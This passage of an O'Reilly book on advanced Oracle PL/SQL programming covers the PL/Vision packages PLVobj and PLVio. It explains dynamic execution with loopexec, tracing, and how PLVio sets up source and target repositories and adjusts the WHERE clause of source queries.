A better approach is to reference the placeholder string by a named constant, rather than a literal value. This constant is provided by the PLVobj.c_leph constant. In this approach, when I call PLVcase.module, I would concatenate this constant into my command string wherever the current object variable appeared in the last example:

'PLVcase.module(' || PLVobj.c_leph || ', PLVcase.c_usecor, FALSE)'

When passed to loopexec, this string will be executed for every object retrieved from the cursor. And for each of those objects, the placeholder string will be replaced by the object name and the dynamic PL/SQL code then executed for that object.

The PLVcat package also calls the loopexec procedure in its modules program to catalogue multiple programs. In this case, when I pass the current object to the PLVcat.module I only want to pass the SCHEMA.NAME portion of the current object. Consequently, I request the alternative name format:

PLVobj.loopexec
   ('s:' || module_in,
    'PLVcat.module(' || PLVobj.c_leph || ')',
    name_format_in => PLVobj.c_modname);

If you do not want to bother with making reference to the PLVobj constant for the placeholder value, you can specify another of your own design. For example, I could recode my call to loopexec in PLVcat to this:

PLVobj.loopexec
   ('s:' || module_in,
    'PLVcat.module(:XX)',
    'XX',
    PLVobj.c_modname);

NOTE: When you execute dynamic PL/SQL as practiced by PLVobj, you can only reference global data structures and programs. You can, in other words, only reference elements defined in a package specification to which you have access. A PL/SQL block that is executed dynamically is not a nested block in the current program; it is treated as a standalone block. That is why when PLVcase.modules calls loopexec in this section's example, it includes the package name PLVcase in its reference to module and the constant, c_usecor.

Now I have hard-coded the XX placeholder string into my execution string, but I also inform loopexec that XX is the new placeholder string. I have, therefore, established internal consistency. Even if the value of the c_leph constant changes, my code will not be affected.

As you can see, PLVobj.loopexec offers a tremendous amount of flexibility and potential. That's what happens when you leverage dynamic PL/SQL code execution and you take the time to build an interface through which users can tweak a utility's behavior. Take some time to play around with loopexec and all its parameter variations. You will benefit not only in your ability to take advantage of PLVobj, but also in your efforts with DBMS_SQL. It will be an investment of time richly rewarded.

11.7.4 Applying loopexec in PL/Vision

I found that in a number of PL/Vision packages I wanted to execute a certain piece of functionality (convert the case, build a catalogue, etc.) for more than one object at a time. For example, I might want to catalogue all the external references in all packages with names like PLV%. The first time I did this, for PLVcase, I made use of my carefully constructed cursor-related programs to come up with a loop like this:

PROCEDURE modules
  (module_spec_in IN VARCHAR2 := NULL)
IS
   objects PLVtab.vc2000_table;
   numobj INTEGER := 0;
BEGIN
   PLVobj.setcurr (module_spec_in);

   PLVobj.open_objects;

   LOOP
      PLVobj.fetch_object;
      EXIT WHEN NOT PLVobj.more_objects;
      numobj := numobj + 1;
      objects (numobj) :=
         PLVobj.currtype || ':' ||
         PLVobj.currschema || '.' ||
         PLVobj.currname;
   END LOOP;

   PLVobj.close_objects;

   FOR objind IN 1 .. numobj
   LOOP
      module (objects (objind), c_usecor, FALSE);
   END LOOP;

   save_program;
END;

In this procedure, I loop through the cursor, loading up a PL/SQL table with the selected objects. Then I use a cursor FOR loop to convert the case of each program found in that table. I was proud of the way I was able to quickly apply my different, high-level elements of PL/Vision to come up with rich functionality. But then I got to the PLVcat package and I wanted to do the same thing there as well. Suddenly my elegant set of loops seemed like an awful lot of code to repeat. So what did I do? I built the vu2pstab procedure of PLVobj and was able to shrink down the PLVcase.modules program to nothing more than:

PROCEDURE modules
  (module_spec_in IN VARCHAR2 := NULL)
IS
   objects PLVtab.vc2000_table;
   numobj INTEGER := 0;
BEGIN
   PLVobj.vu2pstab (module_spec_in, objects, numobj);

   FOR objind IN 1 .. numobj
   LOOP
      module (objects (objind), c_usecor, FALSE);
   END LOOP;
   save_program;
END;

And that was a very satisfying reduction of code and simultaneous abstraction of the process. Yet I still found myself repeating that FOR loop again and again, the only difference being the line of code that was executed inside the loop. This repetition brought me to another realization: Maybe I could use the PLVdyn package to dynamically construct and execute the body of the FOR loop. If that were true, then I could hide all of these details behind a single procedure call.

With the PLVobj.loopexec procedure, such a consolidation is possible. The final implementation of PLVcat.modules does in fact consist of a single line of code as shown below:

PROCEDURE modules (module_in IN VARCHAR2) IS
BEGIN
   PLVobj.loopexec
      ('s:' || notype (module_in),
       'PLVcat.module(' || PLVobj.c_leph || ')',
       name_format_in => PLVobj.c_modname);
END;

It uses the default placeholder string in the call to PLVcat.module. Since that placeholder argument does not need to be specified, it uses named notation to make sure that the module name format is used.

It was possible in this way to shrink a 15-line program body down to just one line. In the process, I switched from a procedural mode of coding to a declarative style. By calling loopexec, I simply describe the action I want and let the underlying engine work out the details.

Previous: 11.6 Populating a PL/SQL Table with Object Names | Advanced Oracle PL/SQL Programming with Packages | Next: 11.8 Tracing PLVobj Activity
11.6 Populating a PL/SQL Table with Object Names | Book Index | 11.8 Tracing PLVobj Activity
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 11] 11.8 Tracing PLVobj Activity

Advanced Oracle PL/SQL Programming with Packages

Advanced Oracle PL/SQL Programming with PackagesSearch this book

11.8 Tracing PLVobj Activity

You can get feedback on activity in the PLVobj package by requesting that the trace be displayed. PLVobj offers a standard on-off toggle with the following three programs:

PROCEDURE display;
PROCEDURE nodisplay;
FUNCTION displaying RETURN BOOLEAN;

The default setting for PLVobj is no display.

In the following SQL*Plus session, I turn on the trace for PLVobj and then execute a script to see all the lines in PLVio that contain the keyword SUBSTR. The inline.sql program first calls PLVobj.setcurr and later calls PLVobj.bindobj. The first three lines after the call to inline.sql show that I called convobj, then set the current values, and finally performed a bind. The reason that the "convert" trace appeared is that setcurr calls convobj.

SQL>  exec PLVobj.display
SQL>  @inline b:PLVio SUBSTR
convert: Schema.Name.Type = "PLV.."
set: Schema.Name.Type = "PLV.PLVIO.PACKAGE BODY"
bind: Schema.Name.Type = "PLV.PLVIO.PACKAGE BODY"
Lines with SUBSTR in PLV.PLVIO.PACKAGE BODY
330
332
512

Previous: 11.7 A Programmatic Cursor FOR Loop | Advanced Oracle PL/SQL Programming with Packages | Next: 12. PLVio: Reading and Writing PL/SQL Source Code
11.7 A Programmatic Cursor FOR Loop | Book Index | 12. PLVio: Reading and Writing PL/SQL Source Code
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 12] PLVio: Reading and Writing PL/SQL Source Code

Advanced Oracle PL/SQL Programming with Packages

Advanced Oracle PL/SQL Programming with PackagesSearch this book
Previous: 11.8 Tracing PLVobj Activity Chapter 12 Next: 12.2 Code Repositories Supported by PLVio

12. PLVio: Reading and Writing PL/SQL Source Code

Contents:
Why PLVio?
Code Repositories Supported by PLVio
Managing the Source Repository
The Source WHERE Clause
Managing the Target Repository
Reading From the Source
Writing to the Target
Saving and Restoring Settings
Cleaning Up Source and Target

The PLVio (PL/Vision Input/Output) package consolidates all the logic required to read from and write to repositories for PL/SQL source code. The PLVio package supports operating system files (as of Release 2.3), database tables, strings, and PL/SQL tables as both input and output sources. It hides all of the complexities of this I/O from users of the PLVio package. By relying on PLVio, other PL/Vision packages, such as PLVhlp and PLVcase, can pass on support for these varying repositories with minimal effort and maximum flexibility.

PLVio is a large package with many different elements. Generally, PLVio activity breaks down into the following areas:

  • Set and manage the source repository, including the WHERE clause of the SQL statement used to define the source if it is a database table. Among other things, you can initialize and close the source.

  • Set and manage the target repository. You can display, close, and clear the target.

  • Read from the source and write to the target. You can even transfer the contents of the source repository to the target in a single step with the src2trg procedure.

  • Save and restore repository settings. This is useful when you are using PLVio simultaneously in different contexts.

  • Trace PLVio activity with a package window.

You can also use PLVio to manipulate text that is not PL/SQL source. Indeed, you can use PLVio to more easily write text out to operating system files (an interface to PLVfile and, underneath that, the builtin UTL_FILE package).

12.1 Why PLVio?

When you use PLVio, you can step away from the details of reading to and writing from specific types of text repositories. You build programs and utilities which get lines from the source and/or put lines to the target. But your code is not necessarily tied down to any specific type of repository. Consequently, your code can work with any of these different repositories without undergoing radical change.

The PLVhlp package's use of PLVio shows the power of abstracting the concept of source and repository for PL/SQL code. PLVhlp offers an architecture for displaying online help text for your own PL/SQL programs. The default mode for PLVhlp is to display the help text to standard output or your screen. Thus, I can call PLVhlp (through a frontend procedure in the PLV package) as shown below to get high-level information about PL/Vision itself:

SQL> exec PLV.help
Help for PLV
Overview of PL/Vision

PL/Vision is a development accelerator for PL/SQL programmers.
It is made up of a set of packages which you can use as
plug-and-play components in your own applications. Here is a
quick overview of some of the available packages:

PLVdyn - performs dynamic SQL and PL/SQL operations.
PLVexc - High-level exception handling capabilities.
PLVlog - Generic log mechanism.
PLVvu - View stored code and compile errors.

What if you are not developing applications in SQL*Plus and you cannot rely on DBMS_OUTPUT.PUT_LINE to display the help text? Instead of abandoning online help, you can instead redirect the output of the PLVhlp package to a PL/SQL table, for example, as shown below:

PLVio.settrg (PLV.pstab);

After this call, any attempts to display the help text will send that information to a PL/SQL table (PLVio.target_table, to be precise). You can then build your own program to read from this PL/SQL table and display the results in your development environment. You could even display this information (to reassure yourself, perhaps, that it really is there) with this command:

PLVio.disptrg;

Notice that I did not have to make any changes to the PLVhlp package to achieve this redirection; nor does any of the code you have built to extract the help text from your own program units need to be modified.

PL/Vision packages make extensive use of the PLVio package. To use it yourself, you will first set your source and target. Then you must use get_line to read from the source and put_line to write to the target. To make this package as flexible as possible, PLVio offers lots of additional programs, constants, and data structures. Don't be intimidated by the number and variety. Dip into the package as you need it, experiment with its nuances, and look at the examples of its usage in PL/Vision.

The following sections show how to use each of the different elements of the PLVio package.

Previous: 11.8 Tracing PLVobj Activity | Advanced Oracle PL/SQL Programming with Packages | Next: 12.2 Code Repositories Supported by PLVio
11.8 Tracing PLVobj Activity | Book Index | 12.2 Code Repositories Supported by PLVio
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 12] 12.2 Code Repositories Supported by PLVio

Advanced Oracle PL/SQL Programming with Packages

Advanced Oracle PL/SQL Programming with PackagesSearch this book

12.2 Code Repositories Supported by PLVio

The various programs in the PLVio package that manage the source and target repositories and that read and write lines of text are independent of the particular sources and targets. When you call put_line, for instance, you do not write code that says "write this line to a file." You simply "say" with your code: "Write this line to the target." You define the target independently of the actual read and write commands. This separation of logical and physical aspects of PL/SQL code I/O makes it easy to support a wide range of repositories -- and to add to that range as PL/SQL's capabilities expand.

When I first built PLVio, I was working with Release 2.1 of the PL/SQL language. I was able, therefore, to write PLVio to read to and write from database tables, but I could not read and write operating system files. That feature was not available until Release 2.3. I was still able to build the package and put it to use throughout PL/Vision. When Release 2.3 became available, I enhanced PLVio to support this new repository option and, with the simple act of a recompile only of the PLVio package body, my existing utilities could now manipulate PL/SQL source code in operating system files!

The PLVio package supports the following types of repositories:

  • PL/SQL string

  • Database table

  • PL/SQL table

  • Operating system file (server side)

  • Standard output (the screen, usually)

You set the source by calling PLVio.setsrc: you set the target by calling PLVio.settrg. Both are described in later sections.

Before diving into all the different programs, here are some details about how these different repositories are handled in PLVio, both as source and target.

12.2.1 String Source or Target

When you specify a string as source, you pass that string of text in to PLVio when you call the PLVio.setsrc procedure. At that time, your string will be assigned to the text_in field of the string_repos. The string_repos record is defined as an instance of the following record TYPE:

   TYPE string_repostype IS RECORD
      (text_in PLV.max_varchar2%TYPE,
       start_pos INTEGER := 1,
       text_len INTEGER := NULL,
       text_out PLV.max_varchar2%TYPE := NULL);

PLVio defines a line within this string source as all text up to the next newline character in the string (equivalent to CHR(10) and available as a named constant of PLVchr.newline_char). The maximum size of a line in PLVio is 2000 bytes, so you will need to break up a large program into multiple strings separated by a newline if you want to specify a string as a source. The maximize size of the entire text is 32,767 -- the maximum length of a PL/SQL variable length string (represented in the above record definition by the PLV.max_varchar%TYPE anchored declaration).

You can view the current contents of the source or target strings by calling the PLVio.srcstg or PLVio.trgstg functions, respectively.

12.2.2 Database Source or Target

You can use a database table as a source or target for PL/SQL code. In either case, you can use the default table (which is the USER_SOURCE data dictionary view for source and the PLV_source table for target) or you can specify your own table. Since PLVio uses PLVdyn to execute dynamic SQL, you can provide the name of the table and its columns. Regardless of their names, however, the columns of a database repository for PLVio must have at least four columns structured as shown in the record TYPE for a repository below:

   TYPE repos_rectype IS
   RECORD
      (name VARCHAR2(60),
       type VARCHAR2(10) := c_notset,
       name_col VARCHAR2(60) := 'name',
       type_col VARCHAR2(60) := 'type',
       line#_col VARCHAR2(60) := 'line',
       text_col VARCHAR2(60) := 'text',
       select_sql VARCHAR2(2000),
       insert_sql VARCHAR2(2000),
       where_clause VARCHAR2(1000) := NULL,
       starting_at VARCHAR2(1000) := NULL);

In other words, you will need a name string column, a type string column, a line number column, and a text string column. These columns can be named whatever you want and you can have other columns in addition to these four, but these columns must be available and specified to PLVio.

Given these requirements, the table shown in the left-hand column below is valid for use in PLVio, while the table in the right-hand column cannot be used, since it lacks a line number column:

Valid for PLVio Source

Not Usable for PLVio Source

CREATE TABLE temp_source
   (progname VARCHAR2(100),
    progtype VARCHAR2(30),
    linenum INTEGER,
    linetext VARCHAR2(120));

CREATE TABLE temp_source
   (objname VARCHAR2(100),
    objtype VARCHAR2(30),
    objline VARCHAR2(120));

As you can see, the record TYPE for a PLVio repository also stores other database-related information, such as the dynamically constructed SELECT and INSERT strings and the optional WHERE clause.

You need to have SELECT privileges only on the source database table. You will need INSERT and DELETE authority on the target database table. You may not, therefore, specify the USER_SOURCE data dictionary view as the target for output from PLVio.

When you specify a database table as the source repository, you will also make use of the PLVobj package to indicate the schema, program name, and program type you are interested in. Examples of this dependency are shown in Section 12.3, "Managing the Source Repository".

12.2.3 PL/SQL Table Target

If you want to avoid the SQL layer, you can use a PL/SQL table defined inside PLVio as the target for PL/SQL source code. PLVio does not currently support PL/SQL tables as sources for reading PL/SQL code. The PL/SQL table is defined in the PLVio specification as follows:

   target_table PLVtab.vc2000_table;
   target_row BINARY_INTEGER;

Since the target_table is in the specification, a user of PLVio can directly access and change the contents of target_table. It is up to you to only use this table in ways that are appropriate to PLVio and/or your specific coding objectives.

The target_row variable will tell you how many lines of code are defined in the PL/SQL table. The row number is treated as the line number for the source code. Once you have populated the table, you can display its contents or pass the table as an argument to another program to process the data in that table.

12.2.4 File Source or Target

You can request that PLVio.put_line write its text to an operating system file. In this case, PLVio.put_line calls the PLVfile.put_line program. This procedure in turn calls the appropriate elements of the builtin UTL_FILE package to interact with the operating system file. For more information on the requirements and restrictions when working with UTL_FILE, see Chapter 13, PLVfile: Reading and Writing Operating System Files.

12.2.5 Standard Output Target

You can request that output from calls to PLVio.put_line be directed to standard output or the screen. When you do this, PLVio.put_line is, in effect, calling the DBMS_OUTPUT.PUT_LINE program to display output (although it does happen through the p package). This is the way that PLVgen generates its PL/SQL source code, for example.

So if you ever execute a PLVgen program to generate code and you don't see anything, check your PLVio target type (with a call to the PLVio.trgtype function). You might be writing your code to a file or PL/SQL table or database table!

Previous: 12.1 Why PLVio? | Advanced Oracle PL/SQL Programming with Packages | Next: 12.3 Managing the Source Repository
12.1 Why PLVio? | Book Index | 12.3 Managing the Source Repository
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 12] 12.3 Managing the Source Repository

Advanced Oracle PL/SQL Programming with Packages

Advanced Oracle PL/SQL Programming with PackagesSearch this book

12.3 Managing the Source Repository

To read information from a PLVio repository, you must do the following:

  1. Define the source using the setsrc program.

  2. Fine-tune your access to the source repository. You can modify the WHERE clause of your SELECT from a database table source with a number of procedures.

  3. Initialize the source using the initsrc program.

You are then ready to use the get_line procedure to retrieve lines of text from the source repository.

This section explains the setsrc and initsrc procedures. The next section explores how to modify the WHERE clause of the source SELECT for database tables.

12.3.1 Setting the Source

The setsrc procedure assigns the type of source repository and defines the structure of the source (if a database table). The header for setsrc is as follows:

PROCEDURE setsrc
   (srctype_in IN VARCHAR2,
    name_in IN VARCHAR2 := 'user_source',
    name_col_in IN VARCHAR2 := 'name',
    srctype_col_in IN VARCHAR2 := 'type',
    line#_col_in IN VARCHAR2 := 'line',
    text_col_in IN VARCHAR2 := 'text',
    schema_col_in IN VARCHAR2 := NULL);

The first argument, srctype_in, is the type of repository. The second argument, name_in, is the name of the repository. Its content varies according to the type of repository and will be explained below. The third through seventh arguments provide the names of the columns required for a database table source. The default values match the structure of the default table (the USER_SOURCE data dictionary view). Notice, therefore, that the schema column name is NULL. This column would be used only if you specified a table/view like ALL_SOURCE, which contains the source code for all programs to which you have access, regardless of schema.

The setsrc procedure transfers the arguments to the srcrep record, which is defined using the repos_rectype shown earlier. If you are using a string source, then the string_repos record is updated. If you are using a database source, then the SELECT statement that will be used to query from that table is constructed as follows (this is a simplified version of the actual SELECT, but gives you an idea of its structure):

srcrep.select_sql :=
   'SELECT ' || source_text_col_in || ', ' ||
                source_line#_col_in ||
   '  FROM ' || name_in || ' ' ||
   ' WHERE ' || source_name_col_in || ' = :name ' ||
   '   AND ' || srctype_col_in || ' = :type' ||
   ' ORDER BY ' || source_line#_col_in;

If you are using a string source, the name_in argument contains the string which holds the text for the program you want to read. All other arguments are ignored. This string is then assigned into the string repository record as shown below:

IF string_source
THEN
   string_repos.text_in := name_in;
   string_repos.start_pos := 1;
   string_repos.text_len := LENGTH (name_in);
   string_repos.text_out := NULL;

Notice that the other fields of the string_repos record are also initialized.

If you are using a file source, then the name_in argument is the name of the file. The source_name_col_in argument should contain the type:name specification for the object you are reading. So if you are reading the package body of PLVvu from the file PLVvu.spb, you would call setsrc as follows:

PLVio.setsrc (PLV.file, 'PLVvu.spb', 'b:PLVvu');

You must supply this third argument if you are writing (have set the target to) a database table.

If you are using a file source, all other arguments (after the first three) are ignored.

12.3.2 Initializing the Source

Once you have set the source repository, you can either move directly to initializing that repository, or you can, in the case of a database table source, modify the WHERE clause of the SELECT constructed by setsrc. In most cases, you will simply call initsrc, so I will discuss that procedure below. The next section discusses how to modify the source repository WHERE clause.

The header for the initsrc procedure is overloaded as follows:

PROCEDURE initsrc
   (starting_at_in IN INTEGER,
    ending_at_in IN INTEGER,
    where_in IN VARCHAR2 := NULL);

PROCEDURE initsrc
   (starting_at_in IN VARCHAR2 := NULL,
    ending_at_in IN VARCHAR2 := NULL,
    where_in IN VARCHAR2 := NULL);

The "integer version" of initsrc accepts up to three arguments, as follows:

starting_at_in

The line number at which the query should start.

ending_at_in

The line number at which the query should end.

where_in

An optional WHERE clause to add to the existing clause of the source's SELECT statement.

If the source is a database table, specifying start and/or end line numbers results in additional elements in the WHERE clause of the SELECT statement. The where_in string is also appended to the SELECT's WHERE clause, if provided. For any other code sources, these three arguments are currently ignored. In other words, if you work with non-database table sources, you will always read the full set of lines of text in those sources. It is easy to see how initsrc should be enhanced to support these arguments; it's just a matter of time and resources. I encourage you to try adding this functionality yourself.

The "string version" of initsrc allows you to specify starting and ending strings for the source repository. In this case (and only when the source is a database table), the get_line procedure will only read those lines that come after the first occurrence of the starting string and before the first occurrence of the ending string.

12.3.3 Using setsrc and initsrc

Here are some examples of calls to setsrc and initsrc.

  1. Set the source to a string and then initialize the source.

    PLVio.setsrc (PLVio.c_string, long_code_string);
PLVIO.initsrc;

  2. Set the current object in PLVobj to the body of the PLVvu package. Set the source to the ALL_SOURCE data dictionary view and restrict access to only the first five lines of the code for the PLVvu package body.

    PLVobj.setcurr ('b:PLVvu');
PLVio.setsrc (PLV.dbtab, 'all_source', schema_col_in => 'owner');
PLVio.initsrc (1, 5);

  3. Set the source to a table named temp_source with a set of completely different column names. Request that only those rows for the procedure calc_totals containing the string RAISE be read. Notice the use of named notation in my call to initsrc. Which of the two versions of initsrc is executed?

    PLVobj.setcurr ('p:calc_totals');
PLVio.setsrc
   (PLV.dbtab, 'temp_source', 'progname', 'progtype', 'line#', 'line');
PLVio.initsrc (where_in => 'INSTR (line, ''RAISE'') > 0);

Answer: the string version of initsrc is executed, since there are default values for the string arguments. The integer version requires that the start and end numbers be provided.

12.3.4 High-Level Source Management Programs

Recognizing the most common sources of PL/SQL code, PLVio offers two specialized programs to both set and initialize the source, usrc and asrc. The usrc procedure sets the source repository to the USER_SOURCE data dictionary view. The asrc procedure sets the source repository to the ALL_SOURCE data dictionary view. Both usrc and asrc are overloaded with the same arguments as initsrc: the "starting at" string or line number, the "ending at" string or line number, and the optional WHERE clause. The headers for these programs are shown below:

PROCEDURE usrc
   (starting_at_in IN VARCHAR2 := NULL,
    ending_at_in IN VARCHAR2 := NULL,
    where_in IN VARCHAR2 := NULL);

PROCEDURE usrc
   (starting_at_in IN INTEGER,
    ending_at_in IN INTEGER,
    where_in IN VARCHAR2 := NULL);

PROCEDURE asrc
   (starting_at_in IN VARCHAR2 := NULL,
    ending_at_in IN VARCHAR2 := NULL,
    where_in IN VARCHAR2 := NULL);

PROCEDURE asrc
   (starting_at_in IN INTEGER,
    ending_at_in IN INTEGER,
    where_in IN VARCHAR2 := NULL);

With asrc, for example, I could replace these three lines of code:

PLVobj.setcurr ('b:PLVvu');
PLVio.setsrc (PLV.dbtab, 'all_source', schema_col_in => 'owner');
PLVio.initsrc (1, 5);

with the following two lines:

PLVobj.setcurr ('b:PLVvu');
PLVio.asrc (1, 5);

You shouldn't have to deal with all those details when it is the kind of source setting you will be performing again and again.

Previous: 12.2 Code Repositories Supported by PLVio | Advanced Oracle PL/SQL Programming with Packages | Next: 12.4 The Source WHERE Clause
12.2 Code Repositories Supported by PLVio | Book Index | 12.4 The Source WHERE Clause
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 12] 12.4 The Source WHERE Clause

Advanced Oracle PL/SQL Programming with Packages

Advanced Oracle PL/SQL Programming with PackagesSearch this book

12.4 The Source WHERE Clause

PLVio provides a set of programs used within PLVio and also available to you to modify the contents of the WHERE clause of the SELECT statement for a database table source. These programs must be called after the call to setsrc and before the call to initsrc.

The default WHERE clause for the database source is:

WHERE name = PLVobj.currname
  AND type = PLVobj.currtype

This WHERE clause reflects the relationship between the current object of PLVobj and the default PLVio source database table, user_source. It is stored directly in the srcrep.select_sql field and is set in the call to setsrc. Additional WHERE clause information is stored in the where_clause field of the same srcrep record (see Section 12.2.2, "Database Source or Target" earlier in this chapter).

You can modify this WHERE clause in two ways: replace it completely or add additional elements to that clause. The set_srcselect will do either of these actions. The set_line_limit applies additional elements to the WHERE clause. rem_srcselect and rem_line_limit remove elements from the WHERE clause. The srcselect function displays the current SELECT statement.

Each of these programs is explained below.

12.4.1 Viewing the Current Source SELECT

First, use the srcselect function to retrieve the current structure of the SELECT statement for the source repository. In the following example, I use p.l to display the current SELECT.

SQL> exec p.l(PLVio.srcselect);
SELECT text, line  FROM user_source WHERE instr (text, 'RAISE') > 0 AND
name = 'PLVEXC' ORDER BY line

This string is an example of a SELECT in which the WHERE clause was substituted completely by a call to set_srcwhere. The following session in SQL*Plus sets the source to the ALL_SOURCE view. The srcselect function returns the default (and more normal) kind of SELECT built and executed by PLVio.

SQL> exec PLVio.asrc
SQL> exec p.l(PLVio.srcselect);
SELECT text, line  FROM all_source WHERE name = :name AND type = :type
 AND owner = :owner ORDER BY line

12.4.2 Changing the WHERE Clause

To modify directly the WHERE clause of the SELECT statement, you will call the set_srcwhere procedure, whose header is:

   PROCEDURE set_srcwhere (where_in IN VARCHAR2);

This procedure modifies the WHERE clause according to the following rules:

  1. If the string starts with AND, then the string is simply concatenated to the current WHERE clause.

  2. If the string starts with WHERE, then the entire current WHERE clause is replaced with the string provided by the user.

  3. In all other cases, the core part of the WHERE clause (containing the bind variables for PLVobj.currname and PLVobj.currtype) is preserved, but any other additional elements are replaced by the specified string.

A few examples will demonstrate this procedure's impact. In each case, I initialize the SELECT statement with a call to PLVio.asrc so that the select_stg contains this information:

SELECT text, line
  FROM all_source
 WHERE name = :name
   AND type = :type
   AND owner = :owner
 ORDER BY line

Let's see what happens when I use set_srcselect to change the WHERE clause:

  1. Add a clause to request that only lines 1 through 5 are read from ALL_SOURCE:

    PLVio.set_srcselect ('AND line BETWEEN 1 AND 5');

    The srcselect now looks like this:

    SELECT text, line
  FROM all_source
 WHERE name = :name
   AND type = :type
   AND owner = :owner
   AND line BETWEEN 1 AND 5
 ORDER BY line

  2. Add the same clause as in Example 1 and then replace it with an element that limits rows retrieved to those that start with the keyword IF.

    PLVio.set_srcselect ('AND line BETWEEN 1 AND 5');
PLVio.set_srcselect ('LTRIM (text) LIKE ''IF%''');

    The srcselect now looks like this:

SELECT text, line
  FROM all_source
 WHERE name = :name
   AND type = :type
   AND owner = :owner
   AND LTRIM (text) LIKE 'IF%'
 ORDER BY line

  3. The following script displays all the lines currently stored in the USER_SOURCE data dictionary view that contain the keyword RAISE.

    DECLARE
   line PLVio.line_type;
   numlines NUMBER;
BEGIN
   PLVio.setsrc (PLV.dbtab);
   PLVio.set_srcwhere
      ('WHERE instr (text, ''RAISE'') > 0');
   PLVio.initsrc;
   LOOP
      PLVio.get_line (line, numlines);
      exit when line.eof;
      p.l (line.text);
   END LOOP;
END;
/

    Notice that the string I pass to set_srcwhere begins with the WHERE keyword. This signals to PLVio that the entire WHERE clause is to be discarded and replaced with the argument string so, in this case, srcselect would display this string:

    SELECT text, line
  FROM all_source
 WHERE instr (text, 'RAISE') > 0
 ORDER BY line

12.4.3 Setting a Line Limit

The final program you can use to change the WHERE clause is the set_line_limit procedure. The header of set_line_limit is:

   PROCEDURE set_line_limit
      (line_in IN INTEGER, loc_type_in IN VARCHAR2 := c_first);

The first argument, line_in, is the line number involved in the restriction. The loc_type_in argument dictates how the line number is used to narrow down the rows retrieved. There are four possible location types; the impact of each of these is explained in the table below.

Constant | Action
c_first | Retrieve lines >= specified line number
c_last | Retrieve lines <= specified line number
c_before | Retrieve lines > specified line number
c_after | Retrieve lines < specified line number

Here are some examples of the impact of set_line_limit:

  1. Request that only lines greater than 100 be retrieved:

    PLVio.set_line_limit (100, PLVio.c_after);

    which adds the following element to the WHERE clause:

    /*LL100*/ AND line > 100 /*LL100*/

    The comments which bracket the AND statement are included so that the entire element can be identified and removed as needed.

  2. Request that only lines less than or equal to 27 be retrieved:

    PLVio.set_line_limit (27, PLVio.c_last);

    This call adds the following element to the WHERE clause:

    /*LL100*/ AND line <= 27 /*LL100*/

    The set_line_limit procedure is used by initsrc to process the "starting at" and "ending at" arguments. The string version of initsrc also makes use of the line_with function to convert a "starting at" string into the appropriate line number, which is then passed to the integer version of initsrc, which then calls set_line_limit. Review that code for more pointers about how to use both of these line-restricter programs.

12.4.4 Cleaning Up the WHERE Clause

You can also remove elements from the WHERE clause using the rem_srcwhere and rem_line_limit procedures. The rem_srcwhere program sets the srcrep.where_clause string to NULL, which means that the entire SELECT statement will be determined by the contents of the srcrep.select_sql field. The rem_srcwhere procedure takes no arguments so you would call it simply as follows:

PLVio.rem_srcwhere;

It is important to remember that rem_srcwhere only NULLs out the srcrep.where_clause. If you have previously called set_srcwhere with a string that started with WHERE, then the text of the srcrep.select_sql field itself is modified. This change is not corrected in any way by a call to rem_srcwhere. Instead, in this situation you will have to re-execute setsrc (and consequently, initsrc) to get back to the default SELECT statement.

The rem_line_limit will remove an element from the WHERE clause that was added by a call to set_line_limit. The header of this procedure is:

PROCEDURE rem_line_limit (line_in IN INTEGER);

You specify the same line number of the line limit passed to set_line_limit, and the appropriate chunk of text is extracted from the srcrep.where_clause string.

Suppose I called set_line_limit to ask that I only retrieve rows where the line number is greater than 10:

PLVio.set_line_limit (10, PLVio.c_after);

Then the following call to rem_line_limit will take out this restricting factor:

PLVio.rem_line_limit (10);

Previous: 12.3 Managing the Source Repository | Advanced Oracle PL/SQL Programming with Packages | Next: 12.5 Managing the Target Repository
12.3 Managing the Source Repository | Book Index | 12.5 Managing the Target Repository
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 12] 12.5 Managing the Target Repository

Advanced Oracle PL/SQL Programming with Packages

Advanced Oracle PL/SQL Programming with PackagesSearch this book

12.5 Managing the Target Repository

After reading about how to manage the source repository, you will probably be relieved to find that there is much less complexity involved in working with the target repository. Since the target is on the receiving end, there is no need to fiddle with the WHERE clause. You simply set and initialize the target, and then you are ready to write into that repository.

The settrg procedure defines the type of repository and its structure. The header for settrg is:

PROCEDURE settrg
   (trgtype_in IN VARCHAR2,
    name_in IN VARCHAR2 := 'PLV_source',
    target_name_col_in IN VARCHAR2 := 'name',
    trgtype_col_in IN VARCHAR2 := 'type',
    target_line#_col_in IN VARCHAR2 := 'line',
    target_text_col_in IN VARCHAR2 := 'text');

The first argument, trgtype_in, is the type of repository. The second argument, name_in, is the name of the repository. Its content varies according to the type of repository and is explained below. The third through sixth arguments provide the names of the columns required for a database table target. The default values match the structure of the default table (PLV_source).

